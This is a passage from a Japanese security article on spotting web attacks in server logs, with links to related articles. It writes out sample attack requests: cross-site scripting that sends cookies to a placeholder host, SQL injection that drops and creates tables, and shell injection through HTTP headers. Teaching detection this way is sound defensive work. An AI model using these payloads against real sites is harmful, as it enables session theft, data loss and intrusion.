次にクロスサイトスクリプティングを狙った通信を紹介する。
GET /sample.cgi?language=ja&country=JP &page=<script>alert('foo')</script> HTTP/1.1 GET /cgi-bin/sample.cgi?A=execute&U=&CF=search-simple &nv=ie&S=%3Cscript%3Ealert%28%22test%22%29%3B%3C%2F script%3E&So=RDATE&Sp=AND GET /cgi-bin/sample.cgi?doc=<%73cr%69pt>document.location= ('http://example.com/test.php?c='+document.cookie)<%2f%73 %63%72%69%70t>
sample.cgiはWebフォームで、入力された文字に対して全くチェックを行っていない脆弱なcgiとする。
引数として渡されている値の中にscriptの文字が見えるだろうか。2つ目、3つ目のものでは<script>の文字がエンコードされているため、一見分かりづらいかもしれない。
ブラウザによって挙動は異なるが、sample.cgiを開いたと同時にスクリプトが実行されてしまう可能性がある。
【注】
クロスサイトスクリプティングはscriptタグだけとは限らないので、詳細な情報は専門の文献を参照してほしい。
クロスサイトスクリプティングは冒頭のとおり定番の攻撃手法である。気を付けなくてはならないのは、POSTの通信の場合、Webサーバのログからでは詳細な情報が取得できない可能性がある。
以下はWebサーバのログである。
192.168.100.101 - - [15/Jun/2007:07:40:30 +0900] "POST http://test.example.com/sample.cgi HTTP/1.1" 200 314 "-" "-"
一見、不正な通信のログには見えない。だが、実際は以下の通信が流れている。
doc=<%73cr%69pt>document.location=('http://example.com /test.php?c='+document.cookie)<%2f%73%63%72%69%70t>
ここまで参照できればクロスサイトスクリプティングを狙っている通信だと気付くだろう。
POSTのデータ部については、Apacheであればmod_securityというモジュールを利用すると記録できる。IISの場合は、専用のアプリケーションや機器が必要になるので注意が必要だ。
【関連記事】
クロスサイトスクリプティング対策の基本
http://www.atmarkit.co.jp/fsecurity/special/30xss/xss01.html
星野君のWebアプリほのぼの改造計画(10)
マルチバイトの落とし穴
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino10/hoshino01.html
SQLインジェクションの例でも同じである。
GET /cgi-bin/sample.asp?'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'=' GET /sample/data.asp?fname=abcdef';DROP TABLE Drop_tmp;CREATE TABLE Attack_Tmp(subdirectory nvarchar(400) NULL)--'
上記ログの2行目では、「Attack_Tmp」というテーブルを作成しようとしている。GETは引数の部分にSQL文が見えるが、POSTの通信ではデータ部に含まれている。
POST /cgi-bin/sample.asp? Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: ja UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Host: test.example.com - 以下データ部 - fname=abcdef';DROP TABLE Drop_tmp;CREATE TABLE Attack_Tmp(subdirectory nvarchar(400) NULL)--'
なお、SQLインジェクション攻撃の場合は、データベースサーバですべてのログを取得するように設定していれば判別が可能だ。しかしWebサーバのログよりもっと膨大なログを相手にすることになるのは覚悟してほしい。
【関連記事】
Webアプリケーションに潜むセキュリティホール(2)
顧客データがすべて盗まれる?!〜OSやデータベースへの攻撃〜
http://www.atmarkit.co.jp/fsecurity/rensai/webhole02/webhole01.html
星野君のWebアプリほのぼの改造計画(9)
隠されていたSQLインジェクション
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino09/hoshino01.html
OSコマンドインジェクションの通信も一例として紹介する。
GET /sample.html HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: ja UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)|/bin/sh| Host: test.sample.com Connection: Keep-Alive POST /css/sample.css HTTP/1.1 Accept: */* Referer: https://test.sample.com/sample.html|/bin/sh| Accept-Language: ja UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Host: test.sample.com Connection: Keep-Alive
上記例ではGETでもPOSTでも送信されるヘッダ部分にOSコマンド(/bin/sh)を入力している。Webアプリケーションで使用している関数にもよるが、OSコマンドがそのまま実行されてしまう可能性もあるので危険だ。
【関連記事】
星野君のWebアプリほのぼの改造計画(7)
公開中のHTMLファイルがごっそり消失!?
http://www.atmarkit.co.jp/fsecurity/rensai/hoshino07/hoshino01.html
Copyright © ITmedia, Inc. All Rights Reserved.